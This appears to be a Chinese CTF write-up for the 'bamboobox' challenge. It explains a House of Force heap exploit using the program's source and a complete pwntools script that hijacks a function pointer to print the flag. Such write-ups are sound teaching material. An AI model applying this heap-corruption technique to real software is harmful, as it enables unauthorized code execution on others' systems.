bamboobox Writeup

题目地址:https://github.com/zh-explorer/hctf2016-fheap

考察漏洞:House of Force。

源程序下载:http://file.eonew.cn/elf/bamboobox

源码:bamboobox.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

struct item
{
    int size;
    char *name;
};

struct item itemlist[100] = {0};

int num;

void hello_message()
{
    puts("There is a box with magic");
    puts("what do you want to do in the box");
}

void goodbye_message()
{
    puts("See you next time");
    puts("Thanks you");
}

struct box
{
    void (*hello_message)();
    void (*goodbye_message)();
};

void menu()
{
    puts("----------------------------");
    puts("Bamboobox Menu");
    puts("----------------------------");
    puts("1.show the items in the box");
    puts("2.add a new item");
    puts("3.change the item in the box");
    puts("4.remove the item in the box");
    puts("5.exit");
    puts("----------------------------");
    printf("Your choice:");
}

void show_item()
{
    int i;
    if (!num)
    {
        puts("No item in the box");
    }
    else
    {
        for (i = 0; i < 100; i++)
        {
            if (itemlist[i].name)
            {
                printf("%d : %s", i, itemlist[i].name);
            }
        }
        puts("");
    }
}

int add_item()
{

    char sizebuf[8];
    int length;
    int i;
    int size;
    if (num < 100)
    {
        printf("Please enter the length of item name:");
        read(0, sizebuf, 8);
        length = atoi(sizebuf);
        if (length == 0)
        {
            puts("invaild length");
            return 0;
        }
        for (i = 0; i < 100; i++)
        {
            if (!itemlist[i].name)
            {
                itemlist[i].size = length;
                itemlist[i].name = (char *)malloc(length);
                printf("Please enter the name of item:");
                size = read(0, itemlist[i].name, length);
                itemlist[i].name[size] = '\x00';
                num++;
                break;
            }
        }
    }
    else
    {
        puts("the box is full");
    }
    return 0;
}

void change_item()
{

    char indexbuf[8];
    char lengthbuf[8];
    int length;
    int index;
    int readsize;

    if (!num)
    {
        puts("No item in the box");
    }
    else
    {
        printf("Please enter the index of item:");
        read(0, indexbuf, 8);
        index = atoi(indexbuf);
        if (itemlist[index].name)
        {
            printf("Please enter the length of item name:");
            read(0, lengthbuf, 8);
            length = atoi(lengthbuf);
            printf("Please enter the new name of the item:");
            readsize = read(0, itemlist[index].name, length);
            *(itemlist[index].name + readsize) = '\x00';
        }
        else
        {
            puts("invaild index");
        }
    }
}

void remove_item()
{
    char indexbuf[8];
    int index;

    if (!num)
    {
        puts("No item in the box");
    }
    else
    {
        printf("Please enter the index of item:");
        read(0, indexbuf, 8);
        index = atoi(indexbuf);
        if (itemlist[index].name)
        {
            free(itemlist[index].name);
            itemlist[index].name = 0;
            itemlist[index].size = 0;
            puts("remove successful!!");
            num--;
        }
        else
        {
            puts("invaild index");
        }
    }
}

void magic()
{
    int fd;
    char buffer[100];
    fd = open("./flag", O_RDONLY);
    read(fd, buffer, sizeof(buffer));
    close(fd);
    printf("%s", buffer);
    exit(0);
}

int main()
{

    char choicebuf[8];
    int choice;
    struct box *bamboo;
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    bamboo = malloc(sizeof(struct box));
    bamboo->hello_message = hello_message;
    bamboo->goodbye_message = goodbye_message;
    bamboo->hello_message();

    while (1)
    {
        menu();
        read(0, choicebuf, 8);
        choice = atoi(choicebuf);
        switch (choice)
        {
        case 1:
            show_item();
            break;
        case 2:
            add_item();
            break;
        case 3:
            change_item();
            break;
        case 4:
            remove_item();
            break;
        case 5:
            bamboo->goodbye_message();
            exit(0);
            break;
        default:
            puts("invaild choice!!!");
            break;
        }
    }

    return 0;
}

程序简介

安全防护

ex@ubuntu:~/test$ checksec bamboobox 
[*] '/home/ex/test/bamboobox'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

主要功能

void menu()
{
    puts("----------------------------");
    puts("Bamboobox Menu");
    puts("----------------------------");
    puts("1.show the items in the box");
    puts("2.add a new item");
    puts("3.change the item in the box");
    puts("4.remove the item in the box");
    puts("5.exit");
    puts("----------------------------");
    printf("Your choice:");
}

全局变量

struct item
{
    int size;
    char *name;
};

struct item itemlist[100] = {0};

int num;

num用来统计已经使用掉了多少个item,itemlist就相当于竹盒,我们需要往里面添加数据(item)。

show_item

void show_item()
{
    int i;
    if (!num)
    {
        puts("No item in the box");
    }
    else
    {
        for (i = 0; i < 100; i++)
        {
            if (itemlist[i].name)
            {
                printf("%d : %s", i, itemlist[i].name);
            }
        }
        puts("");
    }
}

把箱子中的储存的东西全部打印出来。

add_item

int add_item()
{

    char sizebuf[8];
    int length;
    int i;
    int size;
    if (num < 100)
    {
        printf("Please enter the length of item name:");
        read(0, sizebuf, 8);
        length = atoi(sizebuf);
        if (length == 0)
        {
            puts("invaild length");
            return 0;
        }
        for (i = 0; i < 100; i++)
        {
            if (!itemlist[i].name)
            {
                itemlist[i].size = length;
                itemlist[i].name = (char *)malloc(length);
                printf("Please enter the name of item:");
                size = read(0, itemlist[i].name, length);
                itemlist[i].name[size] = '\x00';
                num++;
                break;
            }
        }
    }
    else
    {
        puts("the box is full");
    }
    return 0;
}

根据用户输入的大小来申请内存块,并挂载到全局变量itemlist上,对长度有只有是否为零判断,没有负值判断。

change_item

void change_item()
{

    char indexbuf[8];
    char lengthbuf[8];
    int length;
    int index;
    int readsize;

    if (!num)
    {
        puts("No item in the box");
    }
    else
    {
        printf("Please enter the index of item:");
        read(0, indexbuf, 8);
        index = atoi(indexbuf);
        if (itemlist[index].name)
        {
            printf("Please enter the length of item name:");
            read(0, lengthbuf, 8);
            length = atoi(lengthbuf);
            printf("Please enter the new name of the item:");
            readsize = read(0, itemlist[index].name, length);
            *(itemlist[index].name + readsize) = '\x00';
        }
        else
        {
            puts("invaild index");
        }
    }
}

根据用户输入的大小来修改全局变量itemlist上指定的item(item也是由用户输入确定),没有检查。

remove_item

void remove_item()
{
    char indexbuf[8];
    int index;

    if (!num)
    {
        puts("No item in the box");
    }
    else
    {
        printf("Please enter the index of item:");
        read(0, indexbuf, 8);
        index = atoi(indexbuf);
        if (itemlist[index].name)
        {
            free(itemlist[index].name);
            itemlist[index].name = 0;
            itemlist[index].size = 0;
            puts("remove successful!!");
            num--;
        }
        else
        {
            puts("invaild index");
        }
    }
}

将item从itemlist上移除。

magic

后门函数,劫持程序流到该函数即可获得flag。

void magic()
{
    int fd;
    char buffer[100];
    fd = open("./flag", O_RDONLY);
    read(fd, buffer, sizeof(buffer));
    close(fd);
    printf("%s", buffer);
    exit(0);
}

漏洞在哪里呢 ?

add_item中没有负值检查,因为malloc函数的参数是一个无符号长整型,所以弹栈的时候负值便会变成一个很大的数,这样我们就能申请一个很大的值。

change_item没有长度检测,可以任意heap overflow。

思路

  1. 劫持top chunk
  2. 控制bamboo

劫持top chunk

# 修改top chunk

# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108,'') # 申请的这个chunk的size为 0x110
change_item(0,0x108 + 8 + 1,'a'*0x108 + struct.pack('q',-1)) # top_chunk->size = -1

注意:最先申请的chunk不能太小,否则会申请不到top_chunk。可以通过调试查看到申请的这个chunk的size为 0x110,所以要偏移0x108字节才能到top_chunk的size部分。

控制bamboo

# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140,'')
add_item(0x18,'a'*8 + p64(magic_func_addr))

将bamboo->goodbye_message函数修改为magic函数,则在退出时,程序便会自动打印出flag,上面的数值需要自行计算。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct

sh = process('./bamboobox')
elf = ELF('./bamboobox')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()


def show_item():
    pass


def add_item(size, name):
    sh.sendline(str(2))
    sh.recvuntil('Please enter the length of item name:')
    sh.sendline(str(size))
    sh.recvuntil('Please enter the name of item:')
    sh.sendline(name)
    sh.recvuntil('Your choice:')


def change_item(index, length, name):
    sh.sendline(str(3))
    sh.recvuntil('Please enter the index of item:')
    sh.sendline(str(index))
    sh.recvuntil('Please enter the length of item name:')
    sh.sendline(str(length))
    sh.recvuntil('Please enter the new name of the item:')
    sh.sendline(name)
    sh.recvuntil('Your choice:')


def remove_item(index):
    sh.sendline(str(4))
    sh.recvuntil('Please enter the index of item:')
    sh.sendline(str(index))
    sh.recvuntil('Your choice:')


magic_func_addr = 0x400d49

# 清除流
sh.recvuntil('Your choice:')

# 修改top chunk

# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108, '')  # 申请的这个chunk的size为 0x110
change_item(0, 0x108 + 8 + 1, 'a'*0x108 +
            struct.pack('q', -1))  # top_chunk->size = -1

# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140, '')
add_item(0x18, 'a'*8 + p64(magic_func_addr))

# 退出程序,触发magic函数
sh.sendline('5')
sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行结果:

ex@ubuntu:~/test$ echo flag{123456789} > flag
ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './bamboobox': pid 6066
[*] '/home/ex/test/bamboobox'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
[*] Process './bamboobox' stopped with exit code 0 (pid 6066)
flag{123456789}
 \xa6\xa5\x95\xa1\x7f[*] Got EOF while reading in interactive
$  

总结

遇到bug多去调试程序,调试多了,能力也会逐渐变强。

所有的失败其实都是在为成功做铺垫。